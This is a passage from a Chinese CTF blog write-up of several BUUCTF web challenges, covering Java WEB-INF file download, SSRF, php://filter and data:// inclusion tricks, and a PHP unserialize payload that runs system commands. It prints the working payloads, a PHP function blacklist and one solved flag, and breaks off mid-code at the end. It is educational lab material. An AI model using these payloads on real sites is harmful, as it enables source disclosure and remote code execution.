buuctf.web 32-64

web刷不动啊!看啥啥不会;再也不见了吧web;还是回归crypto和re吧

1、 [RoarCTF 2019]Easy Java

考点:JAVA
题解:
(1)点击help 给出hint

java.io.FileNotFoundException:{help.docx}

(2)说明不是sql注入;但是发现url后面的部分很特殊;有点类似于任意文件下载

/Download?filename=help.docx

(3)搜索以下java 网站的框架结构;发现==/WEB-INF/web.xml==;是web应用程序的配置文件;看看能不能下载;GET发送没啥反应;那就POST;发现真的下载成功了!瞅瞅
在这里插入图片描述

(4)发现了flag相关信息;同样以post方式传参,下载文件com.wm.ctf.FlagController.class,注意此时com.wm.ctf.FlagController是类,需要加上后缀.class
网站框架

WEB-INF是java的WEB应用的安全目录,此外如果想在页面访问WEB-INF应用里面的文件,必须要通过web.xml进行相应的映射才能访问。
其中敏感目录举例:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在.jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件
/WEB-INF/database.properties:数据库配置文件
因此发现java页面时,一般以POST请求方式访问/WEB-INF/web.xml并将其下载下来
,寻找类servlet-class中的可疑文件,在类中发现的可疑文件需要在/WEB-INF/classes/中下载下来
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

打开发现了base64编码内容;解密得到flag

2、[网鼎杯 2018]Fakebook

考点:SSRF
题解:
(1)打开靶机发现有登录和注册选项;尝试万能密码和sql注入发现不行
(2)使用dirmap扫描发现robots.txt;跟进看看/user.php.bak;访问;下载得到了源码;分析

<?php
class UserInfo
{
   
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
   
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
    function get($url)
    {
   
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
   
            return 404;
        }
        curl_close($ch);
        return $output;
    }

    public function getBlogContents ()
    {
   
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
   
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

发现存在curl_exec函数;就是经典的ssrf漏洞;分析preg_math函数;发现判断出传入的blog参数值必须为url形式;然后不会了;参考连接:[https://blog.youkuaiyun.com/m_de_g/article/details/138164004]

3、[BSidesCF 2020]Had a bad day

考点:文件包含 伪协议
(1)进入靶机;测试发现注入点;但是测试SQL注入发现好像没有用;那就尝试以下文件包含

index.php?category=xxx

构造文件包含payload;发下页面hi先了不同的信息

php://filter:/convert.base64-encode/resource=index.php

在这里插入图片描述

index.php.php;就是在读取的时候会在末尾加上php;修改payload;成功得到了源码

php://filter/convert.base64-encode/resource=index

<?php
				$file = $_GET['category'];

				if(isset($file))
				{
   
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
   
						include ($file . '.php');
					}
					else{
   
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

分析strpos函数:使用strpos()函数对 f i l e 进行检索,判断是否包含 " w o o f e r s " 、 " m e o w e r s " 或 " i n d e x " 字符串。如果其中任何一个字符串在 file进行检索,判断是否包含"woofers"、"meowers"或"index"字符串。如果其中任何一个字符串在 file进行检索,判断是否包含"woofers""meowers""index"字符串。如果其中任何一个字符串在file中存在,则执行下一步;如果不存在这些字符串,则输出一条提示信息;php://filter伪协议可以套一层协议

index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

4、[网鼎杯 2020 朱雀组]phpweb

考点:反序列化
题解:
(1)打开题目发现页面已知在刷新;抓包看一下发现date()函数
在这里插入图片描述
既然能够执行date函数;看看能不能执行其他函数能不能读取网站的源码

file_get_contents() highlight_file() show_source();上面三个函数都是读取文件的内容;成功读取到了网站的源码

func=file_get_contents&p=index.php
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
   #接收两个参数
        $result = call_user_func($func, $p);#回调函数;返回结果func是函数名称;p是参数
        $a= gettype($result);#
        if ($a == "string") {
   
            return $result;
        } else {
   return "";}
    }
    class Test {
   
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
   #魔术方法
            if ($this->func != "") {
   
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
 
    if ($func != null) {
   
        $func = strtolower($func);#将func转换为小写
        if (!in_array($func,$disable_fun)) {
   #检查func是否在黑名单中
            echo gettime($func, $p);#如果没在调用gettime函数
        }else {
   
            die("Hacker...");
        }
    }
    ?>

审计代码:
path= &p= :其中path是函数名称;p是参数;源码中从在__destruct()魔术方法;改方法在执行反序列化的时候生效;所以我们可以构造反序列化数据传递;在执行unserialize生效;从而调用gettime函数执行命令(黑名单中只有unserialize函数未被过滤​)
编写Test类的序列化数据代码

<?php
class Test{
   
    public $p="ls /";
    public $func="system";
}
$a=new Test();
echo serialize($a);
#O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

构造payload

func=unserialize&p=O:4:"Test":2:{
   s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

在这里插入图片描述
成功了;但是没找到;直接使用find命令system(“find / -name *flag*”)

func=unserialize&p=O:4:"Test":2:{
   s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}

然后最终在/proc/kpageflags /tmp/flagoefiu4r93 发现flag

flag{d57d032e-9f11-4817-b161-294d7bd1bfdd}
在这里插入图片描述

5、[BJDCTF2020]The mystery of ip

考点:php ssti模板注入
(1)启航杯出现过;直接出的原题
抓包测试:发现ssti注入
在这里插入图片描述

直接rce

在这里插入图片描述

6、[BJDCTF2020]ZJCTF,不过如此

考点:preg_replace()的e模式
题解:
(1)和buuctf1-32中的一道题目很类似;审计代码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
   
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
   
        die("Not now!");
    }
    include($file);  //next.php 文件包含点
}
else{
   
    highlight_file(__FILE__);
}
?>

file_get_contents()函数是读取文本内容;但是text是变量;可以使用data 伪协议处理;创建临时的文件读取 ;参考连接 https://blog.youkuaiyun.com/qq_74806534

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

(2)获取到了nex.php源代码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
   
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

巅峰赛2000分以下是巅峰

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值